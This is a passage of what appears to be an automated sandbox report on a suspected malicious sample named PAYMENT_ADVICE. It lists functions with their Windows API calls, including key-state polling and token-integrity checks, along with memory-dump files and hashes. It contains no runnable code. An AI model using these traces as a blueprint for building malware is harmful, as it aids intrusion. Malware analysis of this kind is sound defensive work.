                                                              • Opcode Fuzzy Hash: f54fa6b466295744a11560565aabc86ab721187a08e79ec82a6272e215e70c2b
                                                              • Instruction Fuzzy Hash: 1C412B3590491CAFD712DF34CC48FA9BBA9EB09354F1A4169F916E72E0CB30AD41DB51
                                                              Function 00342344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCursorPos.USER32(?), ref: 00342357
                                                              • ScreenToClient.USER32(004057B0,?), ref: 00342374
                                                              • GetAsyncKeyState.USER32(00000001), ref: 00342399
                                                              • GetAsyncKeyState.USER32(00000002), ref: 003423A7
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AsyncState$ClientCursorScreen
                                                              • String ID:
                                                              • API String ID: 4210589936-0
                                                              • Opcode ID: 843e141c87c986bcfb8a5d02c30484089b90eb374ae77894d82c6e5654f4abdd
                                                              • Instruction ID: 5594e0a09d68c5e2775e65d64bca1ab41a33b7e3f07fa87682e43affb14a5620
                                                              • Opcode Fuzzy Hash: 843e141c87c986bcfb8a5d02c30484089b90eb374ae77894d82c6e5654f4abdd
                                                              • Instruction Fuzzy Hash: F5415339604119FFDF269F68C844BEABBB5FB05360F50435AF829AA190C734AD90DF91
                                                              Function 003963AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003963E7
                                                              • TranslateAcceleratorW.USER32(?,?,?), ref: 00396433
                                                              • TranslateMessage.USER32(?), ref: 0039645C
                                                              • DispatchMessageW.USER32(?), ref: 00396466
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00396475
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Message$PeekTranslate$AcceleratorDispatch
                                                              • String ID:
                                                              • API String ID: 2108273632-0
                                                              • Opcode ID: 3cd9800362e2103502aecf467b49524db2178ab00db565447d3ac55ba0874f3e
                                                              • Instruction ID: 4f3a5cf0ff737c61717842a8d09321f3b057436a63a8f742dbd5095e2103e396
                                                              • Opcode Fuzzy Hash: 3cd9800362e2103502aecf467b49524db2178ab00db565447d3ac55ba0874f3e
                                                              • Instruction Fuzzy Hash: 5E31E231A02602AFDF269FB1CD86FB77BACEB01300F114179E821D71A1E735A885DB60
                                                              Function 00398A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowRect.USER32(?,?), ref: 00398A30
                                                              • PostMessageW.USER32(?,00000201,00000001), ref: 00398ADA
                                                              • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00398AE2
                                                              • PostMessageW.USER32(?,00000202,00000000), ref: 00398AF0
                                                              • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00398AF8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessagePostSleep$RectWindow
                                                              • String ID:
                                                              • API String ID: 3382505437-0
                                                              • Opcode ID: b3b4c9a8baf76d25d08d469182736da4854758c5db0ecfb3be19ca2de82e8c4e
                                                              • Instruction ID: 9e945881b265b744a906a0e4bd945e59ab424563adafa256a7f6cb4147398d81
                                                              • Opcode Fuzzy Hash: b3b4c9a8baf76d25d08d469182736da4854758c5db0ecfb3be19ca2de82e8c4e
                                                              • Instruction Fuzzy Hash: 7E31E071500219EFDF15CFA8DD4CA9E7BB9EB45315F11822AF925EB2D0C7B09910DB90
                                                              Function 0039B1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsWindowVisible.USER32(?), ref: 0039B204
                                                              • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0039B221
                                                              • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0039B259
                                                              • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0039B27F
                                                              • _wcsstr.LIBCMT ref: 0039B289
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                              • String ID:
                                                              • API String ID: 3902887630-0
                                                              • Opcode ID: 1345a3721c12581cc591fdebbeffd6aeabde5ca40f2f229494aa1b8a5deaa904
                                                              • Instruction ID: ab19c3605d9d19b57e85c2bb9951442d53201c30377acd4a29b5b487c33514a6
                                                              • Opcode Fuzzy Hash: 1345a3721c12581cc591fdebbeffd6aeabde5ca40f2f229494aa1b8a5deaa904
                                                              • Instruction Fuzzy Hash: F221D332204200AAEB165B79AD49E7FBBADDB49710F018529F845DA1A1EB61DC409760
                                                              Function 003CB14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00342612: GetWindowLongW.USER32(?,000000EB), ref: 00342623
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 003CB192
                                                              • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 003CB1B7
                                                              • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 003CB1CF
                                                              • GetSystemMetrics.USER32(00000004), ref: 003CB1F8
                                                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,003B0E90,00000000), ref: 003CB216
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$Long$MetricsSystem
                                                              • String ID:
                                                              • API String ID: 2294984445-0
                                                              • Opcode ID: f444a4009958933d5d4fea5daf5092e16a2dcc8fc475d643a90494cdebb37781
                                                              • Instruction ID: 7b2970c11407761a5cf081a8d5b898fdb59bb417ef9081fcdf094ddd9c8f165e
                                                              • Opcode Fuzzy Hash: f444a4009958933d5d4fea5daf5092e16a2dcc8fc475d643a90494cdebb37781
                                                              • Instruction Fuzzy Hash: 44216071910655AFCB12AF38DC15F6ABBA9EB05361F164B39BD22D71E0D7309C209B90
                                                              Function 00399307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00399320
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                              • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00399352
                                                              • __itow.LIBCMT ref: 0039936A
                                                              • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00399392
                                                              • __itow.LIBCMT ref: 003993A3
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$__itow$_memmove
                                                              • String ID:
                                                              • API String ID: 2983881199-0
                                                              • Opcode ID: 8b8c6067b82ef104a21574d4b9b411f838a406a4c0f97f6346070b4a0a96fd79
                                                              • Instruction ID: 03263dd0565fd4796ea3754df75906b140acad81e2fbb5591d82ed483bb697d2
                                                              • Opcode Fuzzy Hash: 8b8c6067b82ef104a21574d4b9b411f838a406a4c0f97f6346070b4a0a96fd79
                                                              • Instruction Fuzzy Hash: A121B335700208ABDF13AE698CC5FAE7BADEB49710F04402AF905DB2D1D6B09D559791
                                                              Function 003412F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 0034134D
                                                              • SelectObject.GDI32(?,00000000), ref: 0034135C
                                                              • BeginPath.GDI32(?), ref: 00341373
                                                              • SelectObject.GDI32(?,00000000), ref: 0034139C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ObjectSelect$BeginCreatePath
                                                              • String ID:
                                                              • API String ID: 3225163088-0
                                                              • Opcode ID: d83611a286c5ece82ed0bc95bd76c4d1be058487a635785bd694ed79b19b325a
                                                              • Instruction ID: d46698a71eba155f697b203f4ec51d9b4942b4f79c93a7cd227ca79e169a4829
                                                              • Opcode Fuzzy Hash: d83611a286c5ece82ed0bc95bd76c4d1be058487a635785bd694ed79b19b325a
                                                              • Instruction Fuzzy Hash: FB218631800A08DFDB12AF25DE08B6A7BE9FB00751F148225FC14AA5B0D370A9A1DF54
                                                              Function 003A4A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentThreadId.KERNEL32 ref: 003A4ABA
                                                              • __beginthreadex.LIBCMT ref: 003A4AD8
                                                              • MessageBoxW.USER32(?,?,?,?), ref: 003A4AED
                                                              • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 003A4B03
                                                              • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 003A4B0A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
                                                              • String ID:
                                                              • API String ID: 3824534824-0
                                                              • Opcode ID: 8cf44d40f38c20a74a444d958afb33be5efa3b8eefb0b3549dedf17e81b45966
                                                              • Instruction ID: a14bba0dcfcc31dff3d4b2fa81e3f5591caeacb350cdbeb6b29ece34108bf84d
                                                              • Opcode Fuzzy Hash: 8cf44d40f38c20a74a444d958afb33be5efa3b8eefb0b3549dedf17e81b45966
                                                              • Instruction Fuzzy Hash: 6C110876904614BFD7029FA89C04E9B7FADEB86320F144269F814D3250D6B1D9008BB0
                                                              Function 00398202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0039821E
                                                              • GetLastError.KERNEL32(?,00397CE2,?,?,?), ref: 00398228
                                                              • GetProcessHeap.KERNEL32(00000008,?,?,00397CE2,?,?,?), ref: 00398237
                                                              • HeapAlloc.KERNEL32(00000000,?,00397CE2,?,?,?), ref: 0039823E
                                                              • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00398255
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                              • String ID:
                                                              • API String ID: 842720411-0
                                                              • Opcode ID: 8ff524e1305342c2e4c756e202f39315497a16cf1657b97760c32a9fe1707dbf
                                                              • Instruction ID: 4fbbc4a9ab03628de7c6c863c94d27809fb735506c6a208a8a62b313157b0e09
                                                              • Opcode Fuzzy Hash: 8ff524e1305342c2e4c756e202f39315497a16cf1657b97760c32a9fe1707dbf
                                                              • Instruction Fuzzy Hash: E1016971201604BFDF225FA6DC48D6B7FAEEF8A754B50082AF849C3220DA31AC10DB60
                                                              Function 0039710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00397044,80070057,?,?,?,00397455), ref: 00397127
                                                              • ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00397044,80070057,?,?), ref: 00397142
                                                              • lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00397044,80070057,?,?), ref: 00397150
                                                              • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00397044,80070057,?), ref: 00397160
                                                              • CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00397044,80070057,?,?), ref: 0039716C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: From$Prog$FreeStringTasklstrcmpi
                                                              • String ID:
                                                              • API String ID: 3897988419-0
                                                              • Opcode ID: 1ca06f4788235c48a8852f43f9d6172c705cb6f57c40417d2518b63e31c62ca8
                                                              • Instruction ID: fe9fba931073874edbd7a800db87ad2db44d61f55fbecb75d66a1f4d06430689
                                                              • Opcode Fuzzy Hash: 1ca06f4788235c48a8852f43f9d6172c705cb6f57c40417d2518b63e31c62ca8
                                                              • Instruction Fuzzy Hash: 05017C76621204BFDB124F68DC44EAA7BAEEB44791F150064FD08D2260D731ED419BA0
                                                              Function 003A5244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003A5260
                                                              • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 003A526E
                                                              • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 003A5276
                                                              • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 003A5280
                                                              • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003A52BC
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: PerformanceQuery$CounterSleep$Frequency
                                                              • String ID:
                                                              • API String ID: 2833360925-0
                                                              • Opcode ID: 179873f0531f03909182b92b0bfcac090c09237fa67fb35c4875e77afc804a3c
                                                              • Instruction ID: a6b5b4bc975f417a13b03e5523ad343cc3ca62b7a166b107763a3f71aa11e585
                                                              • Opcode Fuzzy Hash: 179873f0531f03909182b92b0bfcac090c09237fa67fb35c4875e77afc804a3c
                                                              • Instruction Fuzzy Hash: 93015731D01A19DBCF02EFE4E848AEDBB7CFB0A311F460956E941F2140CB3065508BA1
                                                              Function 0039810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00398121
                                                              • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0039812B
                                                              • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0039813A
                                                              • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00398141
                                                              • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00398157
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: HeapInformationToken$AllocErrorLastProcess
                                                              • String ID:
                                                              • API String ID: 44706859-0
                                                              • Opcode ID: 600764ac2f6f0cc5394f1faed5157ea3a9103a6fb602a7b5aa6feb589ded17cb
                                                              • Instruction ID: 738d03bc0634a3d8a8ed229feedd446f793dfd6d2d3a6345f712e23f9509e6ce
                                                              • Opcode Fuzzy Hash: 600764ac2f6f0cc5394f1faed5157ea3a9103a6fb602a7b5aa6feb589ded17cb
                                                              • Instruction Fuzzy Hash: DCF06275200314BFEB121FA5EC88E6B3BADFF8AB54F040025F945C6150CB61ED41DB60
                                                              Function 0039C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDlgItem.USER32(?,000003E9), ref: 0039C1F7
                                                              • GetWindowTextW.USER32(00000000,?,00000100), ref: 0039C20E
                                                              • MessageBeep.USER32(00000000), ref: 0039C226
                                                              • KillTimer.USER32(?,0000040A), ref: 0039C242
                                                              • EndDialog.USER32(?,00000001), ref: 0039C25C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
